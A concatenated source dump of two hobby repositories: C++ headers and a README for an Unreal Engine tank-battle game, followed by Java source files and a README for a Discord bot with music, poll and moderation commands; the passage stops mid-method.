"SprungWheelSpawn.generated.h" class ASprungWheel; /** * Class to attach SprungWheel to */ UCLASS( ClassGroup=(Custom), meta=(BlueprintSpawnableComponent) ) class BATTLETANK_API USprungWheelSpawn : public USceneComponent { GENERATED_BODY() public: // Sets default values for this component's properties USprungWheelSpawn(); // Called every frame virtual void TickComponent(float DeltaTime, ELevelTick TickType, FActorComponentTickFunction* ThisTickFunction) override; // Gets spawned actor AActor* GetSpawnedActor() const; protected: // Called when the game starts virtual void BeginPlay() override; // Previously was UPROPERTY(EditDefaultsOnly, Category = Setup) and private. Change back after fix to blueprint variables clearing bug UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = Setup) TSubclassOf<AActor> SprungWheelBlueprint; private: // Actor spawned in Begin Play UPROPERTY() AActor* SpawnedActor; }; <file_sep>// Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "CoreMinimal.h" #include "Components/StaticMeshComponent.h" #include "TankBarrel.generated.h" /** * Class controlling the turret of the tank. Used for aiming and firing */ UCLASS( ClassGroup = (Custom), meta = (BlueprintSpawnableComponent) ) class BATTLETANK_API UTankBarrel : public UStaticMeshComponent { GENERATED_BODY() public: // Elevates barrel at a speed relative to max speed void Elevate(float RelativeSpeed); private: // Max speed the barrel can move up or down at UPROPERTY(EditDefaultsOnly, Category = Setup) float MaxDegreesPerSecond = 10.0; // TODO Set to sensible value // Max height the barrel can be elevated UPROPERTY(EditDefaultsOnly, Category = Setup) float MaxElevationDegrees = 40.0; // Min height the barrel can be elevated UPROPERTY(EditDefaultsOnly, Category = Setup) float MinElevationDegrees = 0.0; }; <file_sep>// Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "CoreMinimal.h" #include "Components/ActorComponent.h" #include "Engine/World.h" #include "Kismet/GameplayStatics.h" #include "TankAimingComponent.generated.h" // Enum for aiming state UENUM() enum class EFiringState : uint8 { Reloading, Aiming, Locked, NoAmmo }; class UTankBarrel; class UTankTurret; class AProjectile; /** * Class responsible for aiming player and AI tank barrels and firing projectiles */ UCLASS( ClassGroup=(Custom), meta=(BlueprintSpawnableComponent) ) class BATTLETANK_API UTankAimingComponent : public UActorComponent { GENERATED_BODY() public: // Sets default values for this component's properties UTankAimingComponent(); // Called every frame virtual void TickComponent(float DeltaTime, ELevelTick TickType, FActorComponentTickFunction* ThisTickFunction) override; void FindFiringState(); // Aims at a specified FVector void AimAt(FVector AimLocation); // Initialises references to Turret and Barrel UFUNCTION(BlueprintCallable, Category = Setup) void Initialise(UTankTurret* TurretToSet, UTankBarrel* BarrelToSet); // Fire at where the barrel is currently pointing UFUNCTION(BlueprintCallable, Category = Gameplay) void Fire(); // Returns reference to Barrel UTankBarrel* GetBarrel(); // Returns firing state EFiringState GetFiringState() const; // Get Ammo remaining int32 GetAmmo() const; protected: // Called when the game starts virtual void BeginPlay() override; // State of the firing component UPROPERTY(BlueprintReadOnly, Category = State) EFiringState FiringState = EFiringState::Reloading; // Base ammo per tank UPROPERTY(EditDefaultsOnly, BlueprintReadOnly, Category = Firing) int32 Ammo = 20; // Previously was UPROPERTY(EditDefaultsOnly, Category = Setup) and private. Change back after fix to blueprint variables clearing bug UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = Setup) TSubclassOf<AProjectile> ProjectileBlueprint; private: // Adjust barrel and turret rotations to face a spoecified vector void MoveBarrelTowards(FVector AimDirection); // Returns if barrel is currently moving/adjusting aim bool IsBarrelMoving(); // Reference to barrel of tank UTankBarrel* Barrel = nullptr; // Reference to turret of tank UTankTurret* Turret = nullptr; // Speed projectile is launched at, used for firing and aim calculations UPROPERTY(EditDefaultsOnly, Category = Firing) float LaunchSpeed = 12000.0; // Time in between shots UPROPERTY(EditDefaultsOnly, Category = Firing) float ReloadTimeInSeconds = 3.0; // How far the barrel has to be from the target to be considered locked on UPROPERTY(EditDefaultsOnly, Category = Firing) float LockedRadius = 0.1; // Time last fired. Used for reload calculations double LastFireTime = 0.0; // Direction the barrel is currently aiming. Used for BarrelMoving calculations FVector AimDirection = FVector(0); }; <file_sep>// Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "Engine/World.h" #include "CoreMinimal.h" #include "GameFramework/PlayerController.h" #include "TankPlayerController.generated.h" class UTankAimingComponent; /** * Responsible for helping player to aim and move */ UCLASS() class BATTLETANK_API ATankPlayerController : public APlayerController { GENERATED_BODY() public: // Called when the game starts or when spawned virtual void BeginPlay() override; // Called every frame virtual void Tick(float DeltaTime) override; protected: // Helps to set UI reference to aiming only after the aiming component is initialized UFUNCTION(BlueprintImplementableEvent, Category = Setup) void FoundAimingComponent(UTankAimingComponent* AimingCompRef); private: // Moves barrel so a shot would hit where the crosshair intersects the world void AimTowardsCrosshair(); // True if hits landscape, returns an OUT Parameter bool GetSightRayHitLocation(FVector& OutHitLocation) const; // Returns direction player is looking at with crosshair as a unit vector bool GetLookDirection(FVector2D ScreenLoc, FVector& OutLookDirection) const; // Raytraces out in a direction for a specified distance and returns the first visible object hit bool GetLookVectorHitLocation(FVector LookDirection, FVector& OutHitLocation) const; // Used to initialize broadcast for death virtual void SetPawn(APawn *InPawn) override; // On death handler UFUNCTION() void OnPossessedTankDeath(); // X location of crosshair on display UPROPERTY(EditDefaultsOnly) float CrosshairXLoc = 0.5; // Y location of crosshair on display UPROPERTY(EditDefaultsOnly) float CrosshairYLoc = 0.3333; // How far to trace to see if hit would occur UPROPERTY(EditDefaultsOnly) float LineTraceRange = 1000000.0; }; <file_sep># Battle-Tank Open world head-to-head tank battle, with simple AI, terrain, and advanced control in UE4 ## Controls ### Keyboard: * Movement with WASD * Aim with Mouse * Left Mouse Button to fire * E to switch between first or third person camera ### Gamepad: * Move with Right Thumbstick * Aim with Left Thumbstick * Bottom Face Button to Fire * Top Face Button to switch between first or third person camera ### TODO List for project * Sort out public vs protected vs private for all member variables and function * Initialize as many values for components in C++ as possible as Blueprint keeps experiencing glitches (Values such as Collisions Enabled, Dampings, Etc) * Setup MainMenu Start button to spawn/possess a Tank instead of having Tank_BP be default pawn from start * Add mortars into level that can attack either type of tank or both AI and Player * Documents complex methods for reusability and understandability. Refactor where needed * Creates a pause/end game menu * Make a FFA game mode with various tanks, respawns, and scoreboard * Create different type of projectiles * Add a system to highlight where hit will occur on the world itself (Useful for different attack types) <file_sep>// Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "CoreMinimal.h" #include "GameFramework/NavMovementComponent.h" #include "Engine/World.h" #include "TankMovementComponent.generated.h" class UTankTrack; /** * Responsible for driving the tank tracks */ UCLASS( ClassGroup = (Custom), meta = (BlueprintSpawnableComponent) ) class BATTLETANK_API UTankMovementComponent : public UNavMovementComponent { GENERATED_BODY() public: // Moves tank forward and backwards UFUNCTION(BlueprintCallable, Category = Movement) void IntendMoveForward(float Throw); // Turns tank right and left UFUNCTION(BlueprintCallable, Category = Movement) void IntendRotateClockwise(float Throw); // Passes reference of left and right track UFUNCTION(BlueprintCallable, Category = Setup) void Initialise(UTankTrack* RightTrackToSet, UTankTrack* LeftTrackToSet); private: // Called from the pathfinding logic by the AI Controller virtual void RequestDirectMove(const FVector& MoveVelocity, bool bForceMaxSpeed) override; // Reference to left track of tank UTankTrack* LeftTrack = nullptr; // Reference to right track of tank UTankTrack* RightTrack = nullptr; }; <file_sep>// Fill out your copyright notice in the Description page of Project Settings. #include "TankBarrel.h" void UTankBarrel::Elevate(float RelativeSpeed) { auto ClampedSpeed = FMath::Clamp(RelativeSpeed, -1.f, 1.f); auto ElevationChange = ClampedSpeed * MaxDegreesPerSecond * GetWorld()->DeltaTimeSeconds; // Per Frame auto RawNewElevation = RelativeRotation.Pitch + ElevationChange; auto ClampedElevation = FMath::Clamp(RawNewElevation, MinElevationDegrees, MaxElevationDegrees); SetRelativeRotation(FRotator(ClampedElevation, 0, 0)); }<file_sep>// Copyright <NAME> #pragma once #include "CoreMinimal.h" #include "GameFramework/Actor.h" #include "Components/StaticMeshComponent.h" #include "Components/SphereComponent.h" #include "PhysicsEngine/PhysicsConstraintComponent.h" #include "SprungWheel.generated.h" /** * Handles wheel suspension physics to help movement system */ UCLASS() class BATTLETANK_API ASprungWheel : public AActor { GENERATED_BODY() public: // Sets default values for this actor's properties ASprungWheel(); // Called every frame virtual void Tick(float DeltaTime) override; // Applies force to wheel for driving void AddDrivingForce(float ForceMagnitude); protected: // Called when the game starts or when spawned virtual void BeginPlay() override; // Sets up componentsq for physics constraint void SetupConstraints(); private: // Wheel of suspension system UPROPERTY(VisibleAnywhere, Category = Setup) USphereComponent* Wheel = nullptr; // Axle for wheeled movement UPROPERTY(VisibleAnywhere, Category = Setup) USphereComponent* Axle = nullptr; // Spring for suspension UPROPERTY(VisibleAnywhere, Category = Setup) UPhysicsConstraintComponent* MassWheelConstraint = nullptr; // Constrains wheel to axle UPROPERTY(VisibleAnywhere, Category = Setup) UPhysicsConstraintComponent* AxleWheelConstraint = nullptr; // Force applied this frame float TotalForceMagnitudeThisFrame = 0.f; // Applies and consumes force void ApplyForce(); // On hit delegate UFUNCTION() void OnHit(UPrimitiveComponent* HitComponent, AActor* OtherActor, UPrimitiveComponent* OtherComp, FVector NormalImpulse, const FHitResult& Hit); };
6a698fd669b1f25bd3013133b6d4d9adfe49a4e5
[ "Markdown", "C++" ]
11
C++
JDhilon/Battle-Tank
7b54fd30cd34f99648f129acd0b00896f8e2b676
6ce199b81800f054693f78eddeeb29cd06d9dab0
refs/heads/master
<file_sep>// // HSConstants.h // Hopscotch-iOS-Test // // Created by <NAME> on 1/6/15. // Copyright (c) 2015 <NAME>. All rights reserved. // #ifndef Hopscotch_iOS_Test_HSConstants_h #define Hopscotch_iOS_Test_HSConstants_h #pragma mark - Grid layout /** margin between cards */ extern const CGFloat HSInterCardHorizontalSpacing; extern const CGFloat HSInterCardVerticalSpacing; /** margin at the top and sides of the outer grid */ extern const CGFloat HSGridTopMargin; extern const CGFloat HSGridSideMargin; #pragma mark - Card sizes extern const CGFloat HSCardWidth; extern const CGFloat HSCardHeight; #pragma mark - Image extern const CGFloat HSImageWidth; extern const CGFloat HSImageHeight; extern const CGFloat HSImageCornerRadius; extern const CGFloat HSImageBorderWidth; #endif <file_sep># Hopscotch iOS Test Project ## Instructions: In this project you will be creating a simplified version of the Hopscotch projects feed.This app should pull data from our server at `https://hopscotch-ios-test.herokuapp.com/projects` and display it in a view that scrolls. We included Cocoapods in the project if you need to import and external libraries but this is not required. The design for the feed is included in the file `Hopscotch-iOS-Test.pdf`. All the measurements/colors/fonts are included in the project folder entitled `UI Helpers`. Bonus points for loading data and images asynchronously. Please document any assumptions you make.
7229629118220dfb895d544f10ff05e70d460a2a
[ "Markdown", "C" ]
2
C
saraahmad1114/collectionViewPractice
9a5d9aef74ba131c82aaee868913b62f54566448
8300bb2904e6c0fc88bec9b58b3437ce72fc78bf
refs/heads/master
<file_sep> var View = {} var icons = { "clear-day" : "☀", "clear-night" : "✨", "rain" : "🌧", "snow" : "❄️", "sleet" : "🌨", "wind" : "💨", "fog" : "🌫", "cloudy" : "☁", "partly-cloudy-day" : "⛅", "partly-cloudy-night" : "☁️" }; View.makeMessage = function(err, weatherData, geoData) { if (err) { return null; } else { var message = ''; if (geoData) { message += '<b>' + geoData.results[0].formatted_address + '<\/b> &#10;'; } else { message += 'Here'; } message += Math.round(weatherData.currently.temperature * 10)/10 + ' °с, &#10;' + weatherData.currently.summary + ', wind speed ' + weatherData.currently.windSpeed + ' m/s. &#10;' + 'Hourly: &#10;'; var hourly = ""; var time; for(var i = 0; (i < weatherData.hourly.data.length) && (i < 12); i++) { time = new Date(weatherData.hourly.data[i].time * 1000 + weatherData.offset * 3600000); time = time.getHours(); hourly += time + '| ' + icons[weatherData.hourly.data[i].icon] + ' ' + Math.round(weatherData.hourly.data[i].temperature * 10)/10 + ' °&#10;'; } return message + hourly; } }; View.makeInline = function(err, weatherData, geoData) { if (err) { return null; } else { var title; if (geoData) { title = geoData.results[0].formatted_address; } else { title = 'Your location'; } var description = weatherData.currently.temperature + ' °с,' + weatherData.currently.summary; return [title, description]; } }; View.startMessage = 'Ok. Send me location, city name or postal code'; module.exports = View;<file_sep>var config = require('./config'); var TelegramBot = require('node-telegram-bot-api'); var bot = new TelegramBot(config.get('telegramToken'), {polling: true}); var Weather = require('./lib/weather'); var View = require('./lib/view'); bot.on('message', function(msg, match){ if (msg.text == '/start') { bot.sendMessage(msg.from.id, View.startMessage, { parse_mode: "HTML" }); } else { Weather.getByQuery(msg.text, function(err, weatherData, geoData) { var message = View.makeMessage(err, weatherData, geoData); if (message) { bot.sendMessage(msg.from.id, message, { parse_mode: "HTML" }); } }); } }); bot.on('location', function(msg, match){ Weather.getByCoordinates(msg.location.latitude, msg.location.longitude, function(err, weatherData, geoData){ var message = View.makeMessage(err, weatherData, geoData); if (message) { bot.sendMessage(msg.from.id, message, { parse_mode: "HTML" }); } }); }); bot.on('inline_query', function(msg, match){ if ((msg.query == '') && msg.location) { Weather.getByCoordinates(msg.location.latitude, msg.location.longitude, function(err, weatherData, geoData){ var inline = View.makeInline(err, weatherData, geoData); var message = View.makeMessage(err, weatherData, geoData); if (inline && message) { bot.answerInlineQuery(msg.id, [{ id: msg.id, type: "article", description: inline[1], input_message_content: { message_text: message, parse_mode: "HTML" }, title: inline[0] }]); } }); } else { Weather.getByQuery(msg.query, function(err, weatherData, geoData) { var message = View.makeMessage(err, weatherData, geoData); var inline = View.makeInline(err, weatherData, geoData); if (inline && message) { bot.answerInlineQuery(msg.id, [{ id: msg.id, type: "article", description: inline[1], input_message_content: { message_text: message, parse_mode: "HTML" }, title: inline[0] }]); } }); } });
4c69ff1a5075e2ef165117f2c80ca74bee8f26d2
[ "JavaScript" ]
2
JavaScript
borapop/weather-telegram-bot
e2e9a8a5433f3b36ee778cdabce0ed1d208d77e2
63d458dac6bc55b2ddd396456e78088514ccf1b8
refs/heads/master
<file_sep>// Use this file to write the logic of your game, the needed attrs and functions var op = []; var operation; var max; /* function init() { operation = prompt("Select one type of operation: +, -, * or /"); var firstAnswer; if (operation != "+" && operation != "-" && operation != "*" && operation != "/" ){ firstAnswer = false; } else { firstAnswer = true; op.push(operation); return; } while (firstAnswer === false) { prompt("Selection must be + , - , * , /"); if (operation !== "+" && operation !== "-" && operation !== "*" && operation !== "/" ){ firstAnswer = false; } else { firstAnswer = true; op.push(operation); } }} function setMax(){ max = prompt ("Tipe the maximun number"); } */ var TenSecondsMathGame = function(operationsArray, limit) { this.maxNumber= 10; this.operationsArray= ["+"] ; this.x = 0; this.y = 0; //this.result = 0; }; TenSecondsMathGame.prototype.calculator = function (){ this.operation = this.x + this.operator + this.y; if(this.operator == "+"){ this.result = this.x + this.y; } else if (this.operator == "-"){ this.result = this.x - this.y; } else if (this.operator == "*"){ this.result = this.x * this.y; } else { this.result = this.x / this.y; } }; TenSecondsMathGame.prototype.randomNumbers = function(){ this.x = Math.floor(Math.random() * this.maxNumber); this.y = Math.floor(Math.random() * this.maxNumber); }; TenSecondsMathGame.prototype.getRandomOperator = function(){ var random = Math.floor(Math.random() * this.operationsArray.length); this.operator = this.operationsArray[random]; }; <file_sep>// Use this file to write the interactions between your game and the user //Initialize ion library window.onload = function(){ var newGame = new TenSecondsMathGame(); newGame.randomNumbers(); newGame.getRandomOperator(); newGame.calculator(); var input = Number(prompt(newGame.operation + " = ? ")); var i = 10; var intervalId = setInterval (function() { if (i > 0) { } else { alert("Time Out"); clearInterval(intervalId); } i--; }, 1 * 1000); if (input == newGame.result){ confirm("OK"); i += 10; } };
2d518d5e43f634bd649af5fb0ef429c4105ab57d
[ "JavaScript" ]
2
JavaScript
VictorIrix/lab-jquery-ten-seconds-math-game
e78fa1a654c7ce5c9e25f38cdd6b699715708cee
6a5c73d1e89b883a0844141a4a5a91c9288debc4
refs/heads/master
<repo_name>reptar25/MuBot<file_sep>/README.md # MuBot [![codebeat badge](https://codebeat.co/badges/873a6429-f29d-4fb1-8e21-064723b5fd3d)](https://codebeat.co/projects/github-com-reptar25-mubot-dev) [![CodeFactor](https://www.codefactor.io/repository/github/reptar25/mubot/badge)](https://www.codefactor.io/repository/github/reptar25/mubot) [![Language grade: Java](https://img.shields.io/lgtm/grade/java/g/reptar25/MuBot.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/reptar25/MuBot/context:java) ![build](https://github.com/reptar25/MuBot/workflows/build/badge.svg) A discord bot built with <a href="https://github.com/Discord4J/Discord4J">Discord4J</a> reactive framework.<br/><br/> A full list of commands can be acquired using the `!help` command. You can use `help` after any command to get more information on how that command works, for example `!ban help`. Any feedback/issues/feature request are appreciated. Thanks for checking it out! List of current commands:<br/> `!ban` - Ban a user and delete their messages from the last 7 days.<br/> `!clear` - Clears the queue of all songs.<br/> `!echo` - Bot replies with a simple echo message.<br/> `!fastforward` - Fast fowards the currently playing song by the given amount of seconds.<br/> `!help` - Displays a list of available commands you can use with the bot.<br/> `!join` - Requests the bot to join the same voice channel as user who used the command.<br/> `!joke` - Tells a random joke from the chosen category of jokes.<br/> `!kick` - Kick a user from the server but not ban them.<br/> `!leave` - Requests the bot to leave its' current voice channel.<br/> `!mutechannel` - Mutes the voice channel of the user who used the command. Will also mute any new users that join that channel until this command is used again to unmute the channel.<br/> `!nowplaying` - Displays currently playing song.<br/> `!pause` - Pauses currently playing track.<br/> `!play` - Plays the song(s) from the given url.<br/> `!poll` - Creates a simple poll in the channel the command was used in. Allows up to 10 choices. All arguments must be contained in quotes to allow for spaces.<br/> `!remove` - Removes the song at the given position number from the queue.<br/> `!repeat` - Toggles repeating the currently playing song. Use this command again to enable/disable repeating.<br/> `!rewind` - Rewinds the currently playing song by the given amount of seconds.<br/> `!roll` - Rolls a dice of the given amount.<br/> `!search` - Searches YouTube for the given terms and returns the top 5 results as choices that can be added to the queue of songs.<br/> `!seek` - Moves the currently playing song to the given time.<br/> `!setprefix` - Set the command-prefix of this server.<br/> `!shuffle` - Shuffles the songs that are in the queue.<br/> `!skip` - Skips the currently playing song and plays the next song in the queue or skips to the specific song number in the queue.<br/> `!stop` - Stops the currently playing song and clears all songs from the queue.<br/> `!unban` - Unban a user.<br/> `!viewqueue` - Displays all the songs currently in the queue.<br/> `!volume` - Changes the volume to the given amount, or to the default amount if reset is given, or no argument to get the current volume.<br/><file_sep>/src/main/java/com/github/mubot/command/menu/menus/PollMenu.java package com.github.mubot.command.menu.menus; import java.time.Instant; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.function.Consumer; import java.util.stream.Collectors; import com.github.mubot.command.menu.Menu; import com.github.mubot.command.util.EmojiHelper; import discord4j.core.object.entity.Member; import discord4j.core.object.entity.Message; import discord4j.core.spec.EmbedCreateSpec; import discord4j.core.spec.MessageCreateSpec; import discord4j.rest.util.Color; import reactor.util.Logger; import reactor.util.Loggers; public final class PollMenu extends Menu { private static final Logger LOGGER = Loggers.getLogger(PollMenu.class); public static final Color DEFAULT_POLL_EMBED_COLOR = Color.of(23, 53, 77); private final int MAX_ANSWERS = 11; private String[] args; private Member member; private String authorName; private String authorIcon; private String title; private ArrayList<String> answers = new ArrayList<String>(); private String description; public PollMenu(String[] args, Member member) { this.args = args; this.member = member; createPoll(); } @Override public void setMessage(Message message) { super.setMessage(message); addReactions(); } private void addReactions() { for (int i = 0; i < answers.size(); i++) { message.addReaction(EmojiHelper.getUnicodeFromNum(i)).subscribe(); } } private void createPoll() { setAnswers(args); if (answers.isEmpty()) return; setAuthor(); setDescription(); } private void setAnswers(String[] args) { if (args == null || args.length < 3) { LOGGER.info("Not enough arguments for poll command"); return; } // only allow of 1 question and 10 answers as arguments List<String> arguments = Arrays.stream(args).limit(MAX_ANSWERS).collect(Collectors.toList()); title = arguments.get(0); for (int i = 1; i < arguments.size(); i++) { answers.add(arguments.get(i)); } } private void setAuthor() { if (member != null) { this.authorName = member.getUsername(); this.authorIcon = member.getAvatarUrl(); } } // private void createFooter() { // Date date = new Date(System.currentTimeMillis()); // DateFormat df = new SimpleDateFormat("EEEE, MMMM dd");// , 'at' hh:mm a // String timeStamp = df.format(date); // // StringBuilder sb = new StringBuilder("Poll created by "); // if (member != null) // sb.append(member.getUsername()); // sb.append(" on "); // sb.append(timeStamp); // this.author = sb.toString(); // if (member != null) // this.authorIcon = member.getAvatarUrl(); // } private void setDescription() { StringBuilder sb = new StringBuilder(); for (int i = 0; i < answers.size(); i++) { String answer = answers.get(i); sb.append(EmojiHelper.getPlainLetterFromNum(i)).append(" ").append(answer).append("\r\n\n"); } description = sb.toString(); } @Override public String toString() { return title + " " + description + " " + answers; } @Override public Consumer<? super MessageCreateSpec> createMessage() { return spec -> spec.setEmbed(createEmbed()).setContent("**" + title + "**"); } private Consumer<? super EmbedCreateSpec> createEmbed() { return embed -> embed.setColor(DEFAULT_POLL_EMBED_COLOR).setFooter("Poll created by " + authorName, authorIcon) .setTimestamp(Instant.now()).setDescription(description); } } <file_sep>/src/main/java/com/github/mubot/command/CommandResponse.java package com.github.mubot.command; import java.util.function.Consumer; import com.github.mubot.command.menu.Menu; import discord4j.core.object.entity.Message; import discord4j.core.spec.MessageCreateSpec; import reactor.core.publisher.Mono; public class CommandResponse { private static final CommandResponse empty = new CommandResponse(); private String content; private Consumer<? super MessageCreateSpec> spec; private Menu menu; // empty constructor private CommandResponse() { this.content = ""; this.spec = null; } private CommandResponse(String content) { this.content = ""; this.spec = null; // if the message is longer than 2000 character, trim it so that its not over // the max character limit. this.content = content.length() >= Message.MAX_CONTENT_LENGTH ? content.substring(0, Message.MAX_CONTENT_LENGTH - 1) : content; this.spec = spec -> spec.setContent(this.content); this.menu = null; } private CommandResponse(Consumer<? super MessageCreateSpec> spec) { this.content = null; this.spec = spec; this.menu = null; } private CommandResponse(Builder b) { this.content = b.content; this.spec = b.spec; this.menu = b.menu; } public Consumer<? super MessageCreateSpec> getSpec() { return spec; } public String getContent() { return content; } public Menu getMenu() { return menu; } public static CommandResponse emptyFlat() { return empty; } public static Mono<CommandResponse> empty() { return Mono.just(empty); } public static CommandResponse createFlat(String content) { return new CommandResponse(content); } public static Mono<CommandResponse> create(String content) { return new CommandResponse.Builder().withContent(content).build(); } public static Mono<CommandResponse> create(String content, Menu m) { return new CommandResponse.Builder().withContent(content).withMenu(m).build(); } public static Mono<CommandResponse> create(Consumer<? super MessageCreateSpec> spec, Menu m) { return new CommandResponse.Builder().withCreateSpec(spec).withMenu(m).build(); } public static Mono<CommandResponse> create(Consumer<? super MessageCreateSpec> spec) { return new CommandResponse.Builder().withCreateSpec(spec).build(); } public static class Builder { private String content; private Consumer<? super MessageCreateSpec> spec; private Menu menu; public Builder withContent(String content) { this.content = content; this.spec = spec -> spec.setContent(content); return this; } public Builder withCreateSpec(Consumer<? super MessageCreateSpec> spec) { this.spec = spec; return this; } public Builder withMenu(Menu menu) { this.menu = menu; return this; } public Mono<CommandResponse> build() { return Mono.just(new CommandResponse(this)); } } } <file_sep>/src/main/java/com/github/mubot/command/commands/music/MusicCommand.java package com.github.mubot.command.commands.music; import static com.github.mubot.command.util.PermissionsHelper.requireBotChannelPermissions; import static com.github.mubot.command.util.PermissionsHelper.requireSameVoiceChannel; import java.util.List; import com.github.mubot.command.Command; import com.github.mubot.command.CommandResponse; import com.github.mubot.music.GuildMusicManager; import com.github.mubot.music.TrackScheduler; import discord4j.core.event.domain.message.MessageCreateEvent; import discord4j.core.object.entity.channel.VoiceChannel; import discord4j.rest.util.Permission; import reactor.core.publisher.Mono; public abstract class MusicCommand extends Command { public MusicCommand(String commandTrigger) { super(commandTrigger); } public MusicCommand(String commandTrigger, List<String> aliases) { super(commandTrigger, aliases); } @Override public Mono<CommandResponse> execute(MessageCreateEvent event, String[] args) { return requireSameVoiceChannel(event).flatMap(channel -> GuildMusicManager.getScheduler(channel) .flatMap(scheduler -> action(event, args, scheduler, channel))); } protected abstract Mono<CommandResponse> action(MessageCreateEvent event, String[] args, TrackScheduler scheduler, VoiceChannel channel); public Mono<VoiceChannel> withPermissions(Mono<VoiceChannel> channelMono, Permission... permissions) { return channelMono.flatMap(channel -> requireBotChannelPermissions(channel, permissions).thenReturn(channel)); } } <file_sep>/src/main/java/com/github/mubot/command/commands/music/RewindCommand.java package com.github.mubot.command.commands.music; import java.util.Arrays; import java.util.function.Consumer; import com.github.mubot.command.help.CommandHelpSpec; import com.github.mubot.music.TrackScheduler; public class RewindCommand extends TrackSeekingCommand { public RewindCommand() { super("rewind", Arrays.asList("rw")); } @Override protected void doSeeking(TrackScheduler scheduler, int amountInSeconds) { scheduler.rewind(amountInSeconds); } @Override public Consumer<? super CommandHelpSpec> createHelpSpec() { return spec -> spec.setDescription("Rewinds the currently playing song by the given amount of seconds.") .addArg("time", "amount of time in seconds to rewind", false).addExample("60"); } }<file_sep>/src/main/java/com/github/mubot/eventlistener/ReadyListener.java package com.github.mubot.eventlistener; import com.github.mubot.music.GuildMusicManager; import discord4j.core.event.domain.lifecycle.ReadyEvent; import discord4j.core.object.VoiceState; import discord4j.core.object.entity.Member; import reactor.core.publisher.Flux; import reactor.core.publisher.Mono; import reactor.function.TupleUtils; import reactor.util.Logger; import reactor.util.Loggers; public class ReadyListener implements EventListener<ReadyEvent> { private static final Logger LOGGER = Loggers.getLogger(ReadyListener.class); @Override public Class<ReadyEvent> getEventType() { return ReadyEvent.class; } @Override public Mono<Void> consume(ReadyEvent e) { return Mono.just(e).flatMapMany(ReadyListener::processReadyEvent).then(); } /** * Called once initial handshakes with gateway are completed. Will reconnect any * voice channels the bot is still connected to and create a TrackScheduler * * @param event the {@link ReadyEvent} * @return */ private static Flux<Object> processReadyEvent(ReadyEvent event) { LOGGER.info("Ready Event consumed."); return Flux.fromIterable(event.getGuilds()).flatMap(guild -> { return event.getSelf().asMember(guild.getId()).flatMap(Member::getVoiceState) .flatMap(VoiceState::getChannel).flatMap(channel -> { return GuildMusicManager.getOrCreate(channel.getGuildId()).flatMap( guildMusic -> channel.join(spec -> spec.setProvider(guildMusic.getAudioProvider()))); }).elapsed().doOnNext(TupleUtils.consumer((elapsed, response) -> LOGGER .info("ReadyEvent channel reconnect took {} ms to be processed", elapsed))) .then(); }); } } <file_sep>/src/main/java/com/github/mubot/eventlistener/MessageLogger.java package com.github.mubot.eventlistener; import discord4j.core.event.domain.message.MessageCreateEvent; import discord4j.core.object.entity.Guild; import discord4j.core.object.entity.User; import discord4j.core.object.entity.channel.GuildChannel; import discord4j.core.object.entity.channel.PrivateChannel; import reactor.core.publisher.Mono; import reactor.util.Logger; import reactor.util.Loggers; /** * This class will log any messages that the can see */ public class MessageLogger implements EventListener<MessageCreateEvent> { private static final Logger LOGGER = Loggers.getLogger(MessageLogger.class); @Override public Class<MessageCreateEvent> getEventType() { return MessageCreateEvent.class; } @Override public Mono<Void> consume(MessageCreateEvent e) { return Mono.just(e).filter(event -> !event.getMessage().getAuthor().map(User::isBot).orElse(true)) .flatMap(event -> { final String content = event.getMessage().getContent(); // print out new message to logs return logMessage(event, content); }); } /** * Formats and logs the message content and author * * @param event even of the message * @param content content of the message * @return */ private Mono<Void> logMessage(MessageCreateEvent event, String content) { Mono<User> getUser = Mono.justOrEmpty(event.getMessage().getAuthor()).defaultIfEmpty(null); Mono<String> getGuildName = event.getGuild().map(Guild::getName).defaultIfEmpty("Private Message"); Mono<String> getGuildChannelName = event.getMessage().getChannel().flatMap(channel -> { if (channel instanceof PrivateChannel) return Mono.empty(); return Mono.just((GuildChannel) channel); }).map(GuildChannel::getName).defaultIfEmpty("Private Message"); return zipMessage(content, getUser, getGuildName, getGuildChannelName); } private Mono<Void> zipMessage(String content, Mono<User> getUser, Mono<String> getGuildName, Mono<String> getGuildChannelName) { return Mono.zip(getUser, getGuildName, getGuildChannelName).map(tuple -> { User user = tuple.getT1(); String guildName = tuple.getT2(); String channelName = tuple.getT3(); String username; username = user == null ? "Uknown Author" : user.getUsername(); StringBuilder sb = new StringBuilder("New message: "); sb.append("(").append(guildName).append(")"); sb.append("(").append(channelName).append(")"); sb.append(" ").append(username); sb.append(" - \"").append(content).append("\""); LOGGER.info(sb.toString()); return Mono.empty(); }).then(); } } <file_sep>/src/main/java/com/github/mubot/command/commands/general/RequireBotPermissionsCommand.java package com.github.mubot.command.commands.general; import static com.github.mubot.command.util.PermissionsHelper.requireBotGuildPermissions; import static com.github.mubot.command.util.PermissionsHelper.requireNotPrivateMessage; import java.util.List; import com.github.mubot.command.CommandResponse; import discord4j.core.event.domain.message.MessageCreateEvent; import discord4j.rest.util.Permission; import reactor.core.publisher.Mono; public abstract class RequireBotPermissionsCommand extends RequirePermissionsCommand { public RequireBotPermissionsCommand(String commandTrigger, Permission... permissions) { super(commandTrigger, permissions); } public RequireBotPermissionsCommand(String commandTrigger, List<String> aliases, Permission... permissions) { super(commandTrigger, aliases, permissions); } @Override public Mono<CommandResponse> execute(MessageCreateEvent event, String[] args) { return requireNotPrivateMessage(event).flatMap(ignore -> requireBotGuildPermissions(event, this.permissions)) .flatMap(ignore -> action(event, args)); } } <file_sep>/src/main/java/com/github/mubot/command/commands/general/SetPrefixCommand.java package com.github.mubot.command.commands.general; import static com.github.mubot.command.util.PermissionsHelper.requireNotPrivateMessage; import java.util.function.Consumer; import com.github.mubot.command.Command; import com.github.mubot.command.CommandResponse; import com.github.mubot.command.help.CommandHelpSpec; import com.github.mubot.database.DatabaseManager; import discord4j.core.event.domain.message.MessageCreateEvent; import reactor.core.publisher.Mono; public class SetPrefixCommand extends Command { public SetPrefixCommand() { super("setprefix"); } @Override public Mono<CommandResponse> execute(MessageCreateEvent event, String[] args) { return requireNotPrivateMessage(event).flatMap(ignored -> prefix(event, args)); } private Mono<CommandResponse> prefix(MessageCreateEvent event, String[] args) { if (args.length >= 1) { 